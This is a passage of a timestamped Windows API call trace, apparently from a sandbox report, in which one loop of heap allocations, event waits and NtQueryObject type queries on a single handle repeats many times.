Size=0x200) returned 0xa122d8 [0148.820] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.820] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.820] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.820] ResetEvent (hEvent=0xe8) returned 1 [0148.820] SetEvent (hEvent=0xec) returned 1 [0148.820] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.820] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.820] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.820] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.820] ResetEvent (hEvent=0xe8) returned 1 [0148.820] SetEvent (hEvent=0xec) returned 1 [0148.821] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.821] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.821] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.821] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.821] ResetEvent (hEvent=0xe8) returned 1 [0148.821] SetEvent (hEvent=0xec) returned 1 [0148.821] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.821] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.821] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.821] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.822] ResetEvent (hEvent=0xe8) returned 1 [0148.822] SetEvent (hEvent=0xec) returned 1 [0148.822] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.822] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.822] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.822] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.822] ResetEvent (hEvent=0xe8) returned 1 [0148.822] SetEvent (hEvent=0xec) returned 1 [0148.823] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.823] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.823] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.823] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.823] ResetEvent (hEvent=0xe8) returned 1 [0148.823] SetEvent (hEvent=0xec) returned 1 [0148.823] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.823] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.823] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.823] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.823] ResetEvent (hEvent=0xe8) returned 1 [0148.823] SetEvent (hEvent=0xec) returned 1 [0148.824] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.824] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.824] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.824] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.824] ResetEvent (hEvent=0xe8) returned 1 [0148.824] SetEvent (hEvent=0xec) returned 1 [0148.824] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.824] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.824] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.824] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.824] ResetEvent (hEvent=0xe8) returned 1 [0148.824] SetEvent (hEvent=0xec) returned 1 [0148.825] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.825] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.825] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.825] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.825] ResetEvent (hEvent=0xe8) returned 1 [0148.825] SetEvent (hEvent=0xec) returned 1 [0148.825] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.825] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.825] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.826] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.826] ResetEvent (hEvent=0xe8) returned 1 [0148.826] SetEvent (hEvent=0xec) returned 1 [0148.826] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.826] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.826] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.826] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.826] ResetEvent (hEvent=0xe8) returned 1 [0148.826] SetEvent (hEvent=0xec) returned 1 [0148.827] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.827] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.827] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.827] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.827] ResetEvent (hEvent=0xe8) returned 1 [0148.827] SetEvent (hEvent=0xec) returned 1 [0148.827] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.827] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.827] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.827] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.827] ResetEvent (hEvent=0xe8) returned 1 [0148.827] SetEvent (hEvent=0xec) returned 1 [0148.828] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.828] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.828] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.828] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.828] ResetEvent (hEvent=0xe8) returned 1 [0148.828] SetEvent (hEvent=0xec) returned 1 [0148.828] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.828] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.828] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.828] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.828] ResetEvent (hEvent=0xe8) returned 1 [0148.828] SetEvent (hEvent=0xec) returned 1 [0148.829] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.829] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.829] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.829] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.829] ResetEvent (hEvent=0xe8) returned 1 [0148.829] SetEvent (hEvent=0xec) returned 1 [0148.829] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.829] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.829] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.830] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.830] ResetEvent (hEvent=0xe8) returned 1 [0148.830] SetEvent (hEvent=0xec) returned 1 [0148.830] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.830] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.830] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.830] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.830] ResetEvent (hEvent=0xe8) returned 1 [0148.830] SetEvent (hEvent=0xec) returned 1 [0148.831] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.831] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.831] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.831] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.831] ResetEvent (hEvent=0xe8) returned 1 [0148.831] SetEvent (hEvent=0xec) returned 1 [0148.831] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.831] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.831] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.831] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.831] ResetEvent (hEvent=0xe8) returned 1 [0148.831] SetEvent (hEvent=0xec) returned 1 [0148.832] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.832] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.832] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.832] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.832] ResetEvent (hEvent=0xe8) returned 1 [0148.832] SetEvent (hEvent=0xec) returned 1 [0148.832] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.832] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.832] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.832] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.832] ResetEvent (hEvent=0xe8) returned 1 [0148.832] SetEvent (hEvent=0xec) returned 1 [0148.833] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.833] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.833] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.833] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.833] ResetEvent (hEvent=0xe8) returned 1 [0148.833] SetEvent (hEvent=0xec) returned 1 [0148.833] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.833] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.834] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.834] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.834] ResetEvent (hEvent=0xe8) returned 1 [0148.834] SetEvent (hEvent=0xec) returned 1 [0148.834] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.834] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.834] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.834] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.834] ResetEvent (hEvent=0xe8) returned 1 [0148.834] SetEvent (hEvent=0xec) returned 1 [0148.835] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.835] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.835] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.835] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.835] ResetEvent (hEvent=0xe8) returned 1 [0148.835] SetEvent (hEvent=0xec) returned 1 [0148.835] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.835] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.835] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.835] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.835] ResetEvent (hEvent=0xe8) returned 1 [0148.835] SetEvent (hEvent=0xec) returned 1 [0148.836] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.836] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.836] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.836] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.836] ResetEvent (hEvent=0xe8) returned 1 [0148.836] SetEvent (hEvent=0xec) returned 1 [0148.836] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.836] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.836] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.836] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.836] ResetEvent (hEvent=0xe8) returned 1 [0148.837] SetEvent (hEvent=0xec) returned 1 [0148.837] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.837] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.837] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.837] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.837] ResetEvent (hEvent=0xe8) returned 1 [0148.837] SetEvent (hEvent=0xec) returned 1 [0148.837] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.838] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.838] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.838] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.838] ResetEvent (hEvent=0xe8) returned 1 [0148.838] SetEvent (hEvent=0xec) returned 1 [0148.838] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.838] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.838] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.838] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.838] ResetEvent (hEvent=0xe8) returned 1 [0148.838] SetEvent (hEvent=0xec) returned 1 [0148.839] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.839] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.839] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.839] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.839] ResetEvent (hEvent=0xe8) returned 1 [0148.839] SetEvent (hEvent=0xec) returned 1 [0148.839] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.839] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.839] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.839] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.839] ResetEvent (hEvent=0xe8) returned 1 [0148.839] SetEvent (hEvent=0xec) returned 1 [0148.840] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.840] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.840] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.840] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.840] ResetEvent (hEvent=0xe8) returned 1 [0148.840] SetEvent (hEvent=0xec) returned 1 [0148.840] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.840] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.840] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.840] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.841] ResetEvent (hEvent=0xe8) returned 1 [0148.841] SetEvent (hEvent=0xec) returned 1 [0148.841] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.841] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.841] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.841] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.841] ResetEvent (hEvent=0xe8) returned 1 [0148.841] SetEvent (hEvent=0xec) returned 1 [0148.842] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.842] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.842] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.842] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.842] ResetEvent (hEvent=0xe8) returned 1 [0148.842] SetEvent (hEvent=0xec) returned 1 [0148.842] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.842] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.842] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.842] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.842] ResetEvent (hEvent=0xe8) returned 1 [0148.842] SetEvent (hEvent=0xec) returned 1 [0148.843] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.843] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.843] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.843] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.843] ResetEvent (hEvent=0xe8) returned 1 [0148.843] SetEvent (hEvent=0xec) returned 1 [0148.843] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.843] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, 